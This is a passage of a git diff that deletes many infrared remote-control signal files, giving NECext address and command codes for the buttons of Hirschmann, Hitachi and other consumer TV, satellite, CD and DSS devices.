00 -# -name: HDMI_2 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 16 00 00 00 -# -name: RGB_1 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 17 00 00 00 -# -name: INPUT_DVI -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 17 00 00 00 -# -name: RGB_2 -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 18 00 00 00 -# -name: INPUT_RGB -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 18 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 19 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 02 11 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir deleted file mode 100644 index 781eeadd3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir deleted file mode 100644 index c7312228e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 00 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 01 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 02 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 03 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 04 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 05 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 06 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 07 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 08 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 09 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0A 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0E 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir deleted file mode 100644 index f23e31e27..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 09 00 00 00 -# -name: UP_CH+ -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0A 00 00 00 -# -name: DOWN_CH- -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0B 00 00 00 -# -name: RIGHT_VOL+ -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0C 00 00 00 -# -name: LEFT_VOL- -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0D 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 0F 00 00 00 -# -name: SEITE_+ -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 10 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 11 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 12 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 13 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 14 00 00 00 -# -name: NTSC/PAL -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 15 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 16 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 17 00 00 00 -# -name: F1_ROT -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 18 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 19 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 1A 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 1B 00 00 00 -# -name: F4_BLAU -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 1C 00 00 00 -# -name: SEITE_- -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 1D 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 1E 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 1F 00 00 00 -# -name: N -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 40 00 00 00 -# -name: F3_GELB -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 41 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 20 FF 00 00 -command: 42 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir deleted file mode 100644 index 7e3199391..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 09 00 00 00 -# -name: M -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 0C 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 0D 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 0E 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 0F 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 16 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 17 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 25 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 28 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 2D 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 33 00 00 00 -# -name: COPY -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 3B 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 49 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 4A 00 00 00 -# -name: LNB -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 4B 00 00 00 -# -name: SYNC -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 53 00 00 00 -# -name: ME -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 54 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 55 00 00 00 -# -name: RADIO -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir deleted file mode 100644 index ce34106fa..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 09 00 00 00 -# -name: AUTO_DIG/ANALOG -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 0C 00 00 00 -# -name: CX -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 0E 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 10 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 11 00 00 00 -# -name: CHAP/FRAME-TIME -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 13 00 00 00 -# -name: STOP/OPEN_[] -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 16 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 17 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 18 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1C 00 00 00 -# -name: AUDIO_MONITOR -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1E 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1F 00 00 00 -# -name: SEARCH/MEMORY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 42 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 43 00 00 00 -# -name: REPEAT_B -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 44 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 45 00 00 00 -# -name: MULTI_SPEED_- -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 46 00 00 00 -# -name: MULTI_SPEED_+ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 47 00 00 00 -# -name: REPEAT_A -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 48 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4C 00 00 00 -# -name: STILL/STEP_< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 50 00 00 00 -# -name: CHAPTER/TRACK_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 52 00 00 00 -# -name: CHAPTER/TRACK_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 53 00 00 00 -# -name: STILL/STEP_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 54 00 00 00 -# -name: MULTI_SPEED_< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 55 00 00 00 -# -name: MULTI_SPEED_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir deleted file mode 100644 index cc06ac609..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AVX -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: LST-CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0B 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/12,251.ir deleted file mode 100644 index e584aca27..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/12,251.ir +++ /dev/null @@ -1,656 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DSS2_CH_^ -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 02 00 00 00 -# -name: DSS2_CH_V -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 03 00 00 00 -# -name: DSS2_0_(&!/) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 04 00 00 00 -# -name: DSS2_1_(ABC) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 05 00 00 00 -# -name: DSS2_2_(DEF) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 06 00 00 00 -# -name: DSS2_3_(GHI) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 07 00 00 00 -# -name: DSS2_4_(JKL) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 08 00 00 00 -# -name: DSS2_5_(MNO) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 09 00 00 00 -# -name: DSS2_6_(PQR) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0A 00 00 00 -# -name: DSS2_7_(STU) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0B 00 00 00 -# -name: DSS2_8_(VWX) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0C 00 00 00 -# -name: DSS2_9_(YZ) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0D 00 00 00 -# -name: ACTION -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0E 00 00 00 -# -name: DSS2_EXIT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0F 00 00 00 -# -name: DSS2_V -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 10 00 00 00 -# -name: DSS2_FAV -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: DSS2_GUIDE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 12 00 00 00 -# -name: DSS2_INFO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 13 00 00 00 -# -name: DSS2_< -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 14 00 00 00 -# -name: DSS2_POWER -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 15 00 00 00 -# -name: DSS2_LAST_CH -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: DSS2_> -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 17 00 00 00 -# -name: DSS2_SELECT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 18 00 00 00 -# -name: DSS2_^ -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 19 00 00 00 -# -name: DSS2_SVCS -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 69 00 00 00 -# -name: DSS2_TRIANGLE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 6A 00 00 00 -# -name: DSS2_CIRCLE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 6B 00 00 00 -# -name: DSS2_SQUARE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 6C 00 00 00 -# -name: DSS2_MOVIES -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 6D 00 00 00 -# -name: DSS2_SPORTS -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 6E 00 00 00 -# -name: DSS2_NEWS -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 6F 00 00 00 -# -name: DSS2_MENU -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 70 00 00 00 -# -name: DSS2_ALPHA -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 75 00 00 00 -# -name: DSS2_SCHED -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 76 00 00 00 -# -name: DSS2_QT1 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 77 00 00 00 -# -name: DSS2_QT2 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 78 00 00 00 -# -name: DSS2_QT3 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 79 00 00 00 -# -name: DSS2_QT4 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 7A 00 00 00 -# -name: DSS2_QT5 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 7B 00 00 00 -# -name: DSS2_QT6 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 7C 00 00 00 -# -name: DSS2_QT7 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 7D 00 00 00 -# -name: DSS2_QT8 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 7E 00 00 00 -# -name: DSS2_QT9 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 7F 00 00 00 -# -name: DSS1_INPUT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 81 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 82 00 00 00 -# -name: DSS1_CH_^ -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 82 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 83 00 00 00 -# -name: DSS1_CH_V -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 83 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 84 00 00 00 -# -name: DSS1_0_(*!/) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 84 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 85 00 00 00 -# -name: DSS1_1_(ABC) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 85 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 86 00 00 00 -# -name: DSS1_2_(DEF) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 86 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 87 00 00 00 -# -name: DSS1_3_(GHI) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 87 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 88 00 00 00 -# -name: DSS1_4_(JKL) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 88 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 89 00 00 00 -# -name: DSS1_5_(MNO) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 89 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8A 00 00 00 -# -name: DSS1_6_(PQR) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8B 00 00 00 -# -name: DSS1_7_(STU) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8C 00 00 00 -# -name: DSS1_8_(VWX) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8D 00 00 00 -# -name: DSS1_9_(YZ) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8D 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8F 00 00 00 -# -name: DSS1_EXIT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8F 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 90 00 00 00 -# -name: DSS1_V -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 90 00 00 00 -# -name: FAV_(LIST) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 91 00 00 00 -# -name: DSS1_FAV -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 91 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 92 00 00 00 -# -name: DSS1_GUIDE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 92 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 93 00 00 00 -# -name: DSS1_INFO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 93 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 94 00 00 00 -# -name: DSS1_< -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 94 00 00 00 -# -name: DSS1_POWER -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 95 00 00 00 -# -name: LAST_CHAN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 96 00 00 00 -# -name: DSS1_LAST_CH -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 96 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 97 00 00 00 -# -name: DSS1_> -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 97 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 98 00 00 00 -# -name: DSS1_SELECT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 98 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 99 00 00 00 -# -name: DSS1_^ -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 99 00 00 00 -# -name: DSS1_SVCS -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: E9 00 00 00 -# -name: DSS1_TRIANGLE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: EA 00 00 00 -# -name: DSS1_CIRCLE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: EB 00 00 00 -# -name: DSS1_SQUARE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: EC 00 00 00 -# -name: DSS1_MOVIES -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: ED 00 00 00 -# -name: DSS1_SPORTS -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: EE 00 00 00 -# -name: DSS1_NEWS -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: EF 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: F0 00 00 00 -# -name: DSS1_MENU -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: F0 00 00 00 -# -name: DSS1_ALPHA -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: F5 00 00 00 -# -name: DSS1_SCHED -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: F6 00 00 00 -# -name: DSS1_QT1 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: F7 00 00 00 -# -name: DSS1_QT2 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: F8 00 00 00 -# -name: DSS1_QT3 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: F9 00 00 00 -# -name: DSS1_QT4 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: FA 00 00 00 -# -name: DSS1_QT5 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: FB 00 00 00 -# -name: DSS1_QT6 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: FC 00 00 00 -# -name: DSS1_QT7 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: FD 00 00 00 -# -name: DSS1_QT8 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: FE 00 00 00 -# -name: DSS1_QT9 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/184,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/184,0.ir deleted file mode 100644 index a0c31c9b1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/184,0.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DSS_VOL_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: DSS_VOL_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: DSS2_MUTE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/3,-1.ir deleted file mode 100644 index dfea18096..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/3,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CBL_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/4,-1.ir deleted file mode 100644 index 509e268ed..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/4,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/80,-1.ir deleted file mode 100644 index b19ef1e71..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/80,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_8_(VWX) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 04 00 00 00 -# -name: TV_9_(YZ) -type: 